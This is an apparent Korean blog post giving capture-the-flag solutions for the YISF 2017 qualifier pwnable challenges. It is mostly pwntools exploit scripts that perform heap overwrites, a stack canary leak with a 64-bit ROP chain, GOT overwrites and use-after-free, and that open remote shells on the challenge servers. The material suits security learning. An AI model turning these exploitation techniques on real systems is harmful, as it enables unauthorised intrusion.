Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

YISF 2017 Quals all pwnable 본문

Security/Pwnable

YISF 2017 Quals all pwnable

Cdor1 2017. 8. 9. 23:42

50 - Just Integer overflow at selling and get flag

100 - Just buffer overflow and get flag


150 - Heap pointer overwrite


from pwn import *
#s = process('./item')
s = remote('112.166.114.143', 317)

def add(data):
	print s.recvuntil('> ')
	s.sendline('1')
	print s.recvuntil('input content: ')
	s.sendline(data)

def show():
	print s.recvuntil('> ')
	s.sendline('2')

def delete(idx):
	print s.recvuntil('> ')
	s.sendline('3')
	print s.recvuntil('input index of item to be deleted: ')
	s.sendline(str(idx))

def modify(idx, data):
	print s.recvuntil('> ')
	s.sendline('4')
	print s.recvuntil('input index of item to modify: ')
	s.sendline(str(idx))
	print s.recvuntil('input content: ')
	s.send(data)

add('aaaa')
add('bbbb')
delete(0)
add('a'*120 + p32(0x602018))

show()
print s.recvuntil('[1633771873] - ')
printf_leak = u64(s.recv(6).ljust(8, '\x00'))
base = printf_leak - 0x54340
system = base + 0x46590
oneshot = base + 0x46428
log.info('printf_leak : ' + hex(printf_leak))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))
log.info('oneshot : ' + hex(oneshot))


add('cccc')
add('dddd')
delete(2)
add('a'*120 + p32(0x602018))
show()
print s.recvuntil('[1633771873] - ')
print s.recvuntil('[1633771873] - ')
free_leak = u64(s.recv(6).ljust(8, '\x00'))
log.info('free_leak : ' + hex(free_leak))
modify(1, p64(oneshot))
s.interactive() 


200 - Canary leak, 64bit rop


from pwn import *

#s = process('./pokemon_manager')
s = remote("112.166.114.145", 3137)

raw_input("$")

print s.recvuntil("name: ")
s.send("A"*0x38)
print s.recvuntil("age: ")
s.sendline("-1")

print s.recvuntil("> ")

s.sendline("1")

print s.recvuntil("name: ")
s.sendline("asdf")
print s.recvuntil("level: ")
s.sendline("10")
print s.recvuntil("comment: ")
s.sendline("asdf")

print s.recvuntil("> ")
s.sendline("4")
print s.recvuntil("name: ")
s.send("B"*0x40)
print s.recvuntil("level: ")
s.sendline("1")
print s.recvuntil("comment: ")
s.send("D"*0x11c + "QQQQQ")

print s.recvuntil("> ")
s.sendline("3")
print s.recvuntil("> ")
s.sendline("4")
print s.recvuntil("beam")
s.sendline("1")
sleep(2)
print s.recvuntil("> ")

s.sendline("2")
print s.recvuntil("QQQQQ")
recved = s.recv(7)
canary = u64("\x00" + recved)

print "canary: " + hex(canary)

s.sendline("4")
print s.recvuntil("name: ")
s.send("B"*0x40)
print s.recvuntil("level: ")
s.sendline("1")
print s.recvuntil("comment: ")

payload = "D"*0x120
payload += p64(canary)
payload += "A"*8

payload += p64(0x401f63) # pop rdi
payload += p64(4)
payload += p64(0x401f61) # pop rsi, pop r15
payload += p64(0x603060) # alarm
payload += p64(0x0)
payload += p64(0x4009a0) # write_plt

payload += p64(0x401f61) # pop rsi, pop r15
payload += p64(0x6030c8) # fork@got
payload += p64(0x0)
payload += p64(0x400a20) # read@plt

payload += p64(0x401f61) # pop rsi, pop r15
payload += p64(0x6030c8+8) # sleep@got
payload += p64(0x0)
payload += p64(0x400a20) # read@plt

payload += p64(0x401f63) # pop rdi
payload += p64(0x6030c8+8) # sleep@got
payload += p64(0x400ad0) # fork_plt

s.send(payload)

print s.recvuntil("> ")
s.sendline("5")

print s.recvuntil("quitting...\n")

recved = s.recv(6)
alarm_libc = u64(recved + "\x00\x00")
libc_base = alarm_libc - 0xcc200
system = libc_base + 0x45390

print "alarm: " + hex(alarm_libc)

s.sendline(p64(system))
s.sendline("cat flag>&4\x00")

s.interactive()


300 - Tricky UAF


from pwn import *

#s = remote('112.166.114.147', 31337)
s = process('/home/cdor1/rating')

def show():
	print s.recvuntil('> ')
	s.sendline('1')

def add(name, rating, comment):
	print s.recvuntil('> ')
	s.sendline('2')
	print s.recvuntil('input name: ')
	s.sendline(name)
	print s.recvuntil('input rating: ')
	s.sendline(str(rating))
	print s.recvuntil('input comment of this row: ')
	s.send(comment)

def insert(idx, name, rating, comment):
	print s.recvuntil('> ')
	s.sendline('3')
	print s.recvuntil('input index of row that will follow: ')
	s.sendline(str(idx))
	print s.recvuntil('input name: ')
	s.sendline(name)
	print s.recvuntil('input rating: ')
	s.sendline(str(rating))
	print s.recvuntil('input comment of this row: ')
	s.sendline(comment)

def delete(idx):
	print s.recvuntil('> ')
	s.sendline('4')
	print s.recvuntil('input index of row to delete: ')
	s.sendline(str(idx))

def modify(idx, name, rating, comment):
	print s.recvuntil('> ')
	s.sendline('5')
	print s.recvuntil('input index of row to modify: ')
	s.sendline(str(idx))
	print s.recvuntil('input name: ')
	s.sendline(name)
	print s.recvuntil('input rating: ')
	s.sendline(str(rating))
	print s.recvuntil('input comment of this row: ')
	s.sendline(comment)

add('a'*24, -1, '/bin/sh\x00')
add('b'*24, -1, 'c'*48)
modify(5, 'a'*24, 10, "A"*0x18 + "B"*7 + "\x00")
modify(5, 'a'*24, 10, "A"*0x18 + "B"*6 + "\x00")
modify(5, 'a'*24, 10, "A"*0x18 + "B"*5 + "\x00")
modify(5, 'a'*24, 10, "A"*0x18 + "B"*4 + "\x00")
modify(5, 'a'*24, 10, "A"*0x18 + "\x18\x20\x60" + "\x00")
delete(5)
s.sendline('5')
print s.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaa')
leak = u64(s.recv(6).ljust(8, '\x00'))
base = leak - 3961670
system = base + 0x45390
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))

print s.recvuntil('input index of row to modify: ')
s.sendline('6')
print s.recvuntil('input name: ')
s.sendline('a'*24)
print s.recvuntil('input rating: ')
s.sendline('-1')
print s.recvuntil('input comment of this row: ')
s.sendline(p64(system))

delete(4)

s.interactive()


'Security > Pwnable' 카테고리의 다른 글

pwnable.tw spirited_away  (0) 2017.08.11
pwnable.tw dubblesort  (0) 2017.08.10
pwnable.tw applestore  (0) 2017.08.01
pwnable.tw seethefile  (0) 2017.07.21
IDEA  (0) 2017.06.08
Comments